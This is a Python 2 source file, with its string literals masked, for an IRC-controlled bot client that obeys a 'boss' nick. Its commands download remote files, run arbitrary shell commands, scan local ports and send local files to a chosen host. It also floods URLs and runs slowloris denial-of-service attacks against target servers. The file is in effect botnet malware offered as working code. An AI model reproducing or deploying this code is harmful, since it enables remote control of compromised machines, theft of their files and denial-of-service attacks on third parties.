<s> import datetime <EOL> import gevent <EOL> import os <EOL> import platform <EOL> import random <EOL> import re <EOL> import sys <EOL> import time <EOL> from gevent import monkey <EOL> monkey . patch_all ( ) <EOL> import urllib2 <EOL> from gevent import socket <EOL> from gevent . dns import DNSError <EOL> from gevent . event import Event <EOL> from gevent . queue import Queue <EOL> import logging <EOL> from logging . handlers import RotatingFileHandler <EOL> from optparse import OptionParser <EOL> from irc import IRCConnection , IRCBot <EOL> class BaseWorkerBot ( IRCBot ) : <EOL> """<STR_LIT>""" <EOL> def __init__ ( self , conn , boss ) : <EOL> super ( BaseWorkerBot , self ) . __init__ ( conn ) <EOL> self . registered = Event ( ) <EOL> self . boss = boss <EOL> self . task_patterns = self . get_task_patterns ( ) <EOL> self . task_queue = Queue ( ) <EOL> self . stop_flag = Event ( ) <EOL> gevent . spawn ( self . register_with_boss ) <EOL> gevent . spawn ( self . task_runner ) <EOL> def get_task_patterns ( self ) : <EOL> """<STR_LIT>""" <EOL> raise NotImplementedError <EOL> def register_with_boss ( self ) : <EOL> """<STR_LIT>""" <EOL> gevent . sleep ( <NUM_LIT:10> ) <EOL> while not self . registered . is_set ( ) : <EOL> self . respond ( '<STR_LIT>' % platform . node ( ) , nick = self . boss ) <EOL> gevent . sleep ( <NUM_LIT:30> ) <EOL> def task_runner ( self ) : <EOL> """<STR_LIT>""" <EOL> while <NUM_LIT:1> : <EOL> ( task_id , command ) = self . task_queue . get ( ) <EOL> for pattern , callback in self . task_patterns : <EOL> match = re . match ( pattern , command ) <EOL> if match : <EOL> ret = callback ( ** match . groupdict ( ) ) or '<STR_LIT>' <EOL> self . stop_flag . clear ( ) <EOL> for line in ret . splitlines ( ) : <EOL> self . respond ( '<STR_LIT>' % ( task_id , line ) , self . channel ) <EOL> gevent . sleep ( <NUM_LIT> ) <EOL> self . respond ( '<STR_LIT>' % task_id , self . channel ) <EOL> def require_boss ( self , callback ) : <EOL> """<STR_LIT>""" <EOL> def inner ( nick , message , channel , * args , ** kwargs ) : <EOL> if nick != self . boss : <EOL> return <EOL> return callback ( nick , message , channel , * args , ** kwargs ) <EOL> return inner <EOL> def command_patterns ( self ) : <EOL> """<STR_LIT>""" <EOL> return ( <EOL> ( '<STR_LIT>' , self . require_boss ( self . register_success ) ) , <EOL> ( '<STR_LIT>' , self . require_boss ( self . worker_execute ) ) , <EOL> ( '<STR_LIT>' , self . require_boss ( self . worker_ping_handler ) ) , <EOL> ( '<STR_LIT>' , self . require_boss ( self . worker_stop ) ) , <EOL> ) <EOL> def register_success ( self , nick , message , channel , cmd_channel ) : <EOL> """<STR_LIT>""" <EOL> self . channel = cmd_channel <EOL> self . conn . join ( self . channel ) <EOL> self . registered . set ( ) <EOL> def worker_execute ( self , nick , message , channel , task_id , command , workers = None ) : <EOL> """<STR_LIT>""" <EOL> if workers : <EOL> nicks = workers . split ( '<STR_LIT:U+002C>' ) <EOL> do_task = self . conn . nick in nicks <EOL> else : <EOL> do_task = True <EOL> if do_task : <EOL> self . task_queue . put ( ( int ( task_id ) , command ) ) <EOL> return '<STR_LIT>' % task_id <EOL> def worker_stop ( self , nick , message , channel ) : <EOL> """<STR_LIT>""" <EOL> self . stop_flag . set ( ) <EOL> def worker_ping_handler ( self , nick , message , channel ) : <EOL> """<STR_LIT>""" <EOL> return '<STR_LIT>' % platform . node ( ) <EOL> class Conn ( object ) : <EOL> """<STR_LIT>""" <EOL> def __init__ ( self , host , port , socket_timeout ) : <EOL> self . host = host <EOL> self . port = port <EOL> self . socket_timeout = socket_timeout <EOL> self . connected = False <EOL> def connect ( self ) : <EOL> self . _sock = socket . socket ( socket . AF_INET , socket . SOCK_STREAM ) <EOL> self . _sock . settimeout ( self . socket_timeout ) <EOL> self . connected = False <EOL> try : <EOL> self . _sock . connect ( ( self . host , self . port ) ) <EOL> except DNSError : <EOL> pass <EOL> except socket . error : <EOL> pass <EOL> else : <EOL> self . connected = True <EOL> return self . connected <EOL> def send ( self , data ) : <EOL> try : <EOL> return self . _sock . send ( data ) <EOL> except socket . error : <EOL> self . connected = False <EOL> raise <EOL> class WorkerBot ( BaseWorkerBot ) : <EOL> primary_payload = "<STR_LIT>" + "<STR_LIT>" + "<STR_LIT>" + "<STR_LIT>" <EOL> def get_task_patterns ( self ) : <EOL> return ( <EOL> ( '<STR_LIT>' , self . download ) , <EOL> ( '<STR_LIT>' , self . get_time ) , <EOL> ( '<STR_LIT:info>' , self . info ) , <EOL> ( '<STR_LIT>' , self . ports ) , <EOL> ( '<STR_LIT>' , self . run ) , <EOL> ( '<STR_LIT>' , self . send_file ) , <EOL> ( '<STR_LIT>' , self . siege ) , <EOL> ( '<STR_LIT>' , self . slowloris ) , <EOL> ( '<STR_LIT>' , self . slowloristest ) , <EOL> ( '<STR_LIT:status>' , self . status_report ) , <EOL> ) <EOL> def get_time ( self , format = None ) : <EOL> now = datetime . datetime . now ( ) <EOL> if format : <EOL> return now . strftime ( format ) <EOL> return str ( now ) <EOL> def download ( self , url ) : <EOL> path , filename = url . rsplit ( '<STR_LIT:/>' , <NUM_LIT:1> ) <EOL> try : <EOL> request = urllib2 . urlopen ( url ) <EOL> except : <EOL> return "<STR_LIT>" % url <EOL> try : <EOL> fh = open ( filename , '<STR_LIT:w>' ) <EOL> except IOError : <EOL> return "<STR_LIT>" % filename <EOL> while not self . stop_flag . is_set ( ) : <EOL> data = request . read ( <NUM_LIT> ) <EOL> if not data : <EOL> break <EOL> fh . write ( data ) <EOL> return "<STR_LIT>" % filename <EOL> def info ( self ) : <EOL> return '<STR_LIT>' % ( <EOL> __file__ , <EOL> platform . platform ( ) , <EOL> platform . architecture ( ) [ <NUM_LIT:0> ] , <EOL> platform . node ( ) , <EOL> platform . python_version ( ) , <EOL> ) <EOL> def ports ( self ) : <EOL> open_ports = [ ] <EOL> for port in range ( <NUM_LIT:20> , <NUM_LIT> ) : <EOL> sock = socket . socket ( socket . AF_INET , socket . SOCK_STREAM ) <EOL> result = sock . connect_ex ( ( '<STR_LIT:127.0.0.1>' , port ) ) <EOL> if result == <NUM_LIT:0> : <EOL> open_ports . append ( port ) <EOL> sock . close ( ) <EOL> return str ( open_ports ) <EOL> def run ( self , program ) : <EOL> fh = os . popen ( program ) <EOL> return fh . read ( ) <EOL> def send_file ( self , filename , destination ) : <EOL> try : <EOL> sock = socket . socket ( socket . AF_INET , socket . SOCK_STREAM ) <EOL> host , port = destination . split ( '<STR_LIT::>' ) <EOL> sock . connect ( ( host , int ( port ) ) ) <EOL> except : <EOL> return '<STR_LIT>' % host <EOL> try : <EOL> fh = open ( filename , '<STR_LIT:r>' ) <EOL> except IOError : <EOL> return '<STR_LIT>' % filename <EOL> while <NUM_LIT:1> : <EOL> data = fh . read ( <NUM_LIT> ) <EOL> if not data : <EOL> break <EOL> sock . send ( data ) <EOL> fh . close ( ) <EOL> sock . close ( ) <EOL> return '<STR_LIT>' <EOL> def siege ( self , url ) : <EOL> count = <NUM_LIT:0> <EOL> def fetcher ( url ) : <EOL> req = urllib2 . urlopen ( url ) <EOL> req . read ( ) <EOL> while not self . stop_flag . is_set ( ) : <EOL> greenlets = [ <EOL> gevent . spawn ( fetcher , url ) for x in range ( <NUM_LIT:100> ) <EOL> ] <EOL> [ g . join ( ) for g in greenlets ] <EOL> count += <NUM_LIT:100> <EOL> return '<STR_LIT>' % count <EOL> def slowloris ( self , host , num , timeout , port = None ) : <EOL> port = port or <NUM_LIT> <EOL> timeout = int ( timeout ) <EOL> conns = [ Conn ( host , int ( port ) , <NUM_LIT:5> ) for i in range ( int ( num ) ) ] <EOL> failed = <NUM_LIT:0> <EOL> packets = <NUM_LIT:0> <EOL> while not self . stop_flag . is_set ( ) : <EOL> for conn in conns : <EOL> if self . stop_flag . is_set ( ) : <EOL> break <EOL> if not conn . connected : <EOL> if conn . connect ( ) : <EOL> packets += <NUM_LIT:3> <EOL> if conn . connected : <EOL> query = '<STR_LIT>' % random . randint ( <NUM_LIT:1> , <NUM_LIT> ) <EOL> payload = self . primary_payload % ( query , conn . host ) <EOL> try : <EOL> conn . send ( payload ) <EOL> packets += <NUM_LIT:1> <EOL> except socket . error : <EOL> pass <EOL> else : <EOL> pass <EOL> for conn in conns : <EOL> if self . stop_flag . is_set ( ) : <EOL> break <EOL> if conn . connected : <EOL> try : <EOL> conn . send ( '<STR_LIT>' ) <EOL> packets += <NUM_LIT:1> <EOL> except socket . error : <EOL> pass <EOL> gevent . sleep ( timeout ) <EOL> return "<STR_LIT>" % ( failed , packets ) <EOL> def slowloristest ( self , host , port = None ) : <EOL> port = port or <NUM_LIT> <EOL> times = [ <NUM_LIT:2> , <NUM_LIT:30> , <NUM_LIT> , <NUM_LIT> ] <EOL> delay = <NUM_LIT:0> <EOL> best = None <EOL> try : <EOL> conn = Conn ( host , int ( port ) , <NUM_LIT:5> ) <EOL> conn . connect ( ) <EOL> except : <EOL> return '<STR_LIT>' <EOL> query = '<STR_LIT>' % random . randint ( <NUM_LIT:1> , <NUM_LIT> ) <EOL> payload = self . primary_payload % ( query , conn . host ) <EOL> try : <EOL> conn . send ( payload ) <EOL> except socket . error : <EOL> return '<STR_LIT>' <EOL> for interval in times : <EOL> gevent . sleep ( interval ) <EOL> try : <EOL> conn . send ( '<STR_LIT>' ) <EOL> except : <EOL> pass <EOL> else : <EOL> best = interval <EOL> try : <EOL> conn . send ( '<STR_LIT>' ) <EOL> except : <EOL> pass <EOL> return '<STR_LIT>' % best <EOL> def status_report ( self ) : <EOL> return self . task_queue . qsize ( ) <EOL> def get_parser ( ) : <EOL> parser = OptionParser ( usage = '<STR_LIT>' ) <EOL> parser . add_option ( '<STR_LIT>' , '<STR_LIT>' , dest = '<STR_LIT>' , default = '<STR_LIT>' , <EOL> help = '<STR_LIT>' ) <EOL> parser . add_option ( '<STR_LIT>' , '<STR_LIT>' , dest = '<STR_LIT:port>' , default = <NUM_LIT> , <EOL> help = '<STR_LIT>' , type = '<STR_LIT:int>' ) <EOL> parser . add_option ( '<STR_LIT>' , '<STR_LIT>' , dest = '<STR_LIT>' , default = '<STR_LIT>' , <EOL> help = '<STR_LIT>' ) <EOL> parser . add_option ( '<STR_LIT>' , '<STR_LIT>' , dest = '<STR_LIT>' , default = '<STR_LIT>' ) <EOL> parser . add_option ( '<STR_LIT>' , '<STR_LIT>' , dest = '<STR_LIT>' ) <EOL> parser . add_option ( '<STR_LIT>' , '<STR_LIT>' , dest = '<STR_LIT>' , default = <NUM_LIT:1> , type = '<STR_LIT:int>' ) <EOL> return parser <EOL> if __name__ == '<STR_LIT:__main__>' : <EOL> parser = get_parser ( ) <EOL> ( options , args ) = parser . parse_args ( ) <EOL> conn = IRCConnection ( options . server , options . port , options . nick , <EOL> options . logfile , options . verbosity ) <EOL> conn . connect ( ) <EOL> bot = WorkerBot ( conn , options . boss ) <EOL> conn . enter_event_loop ( ) </s>
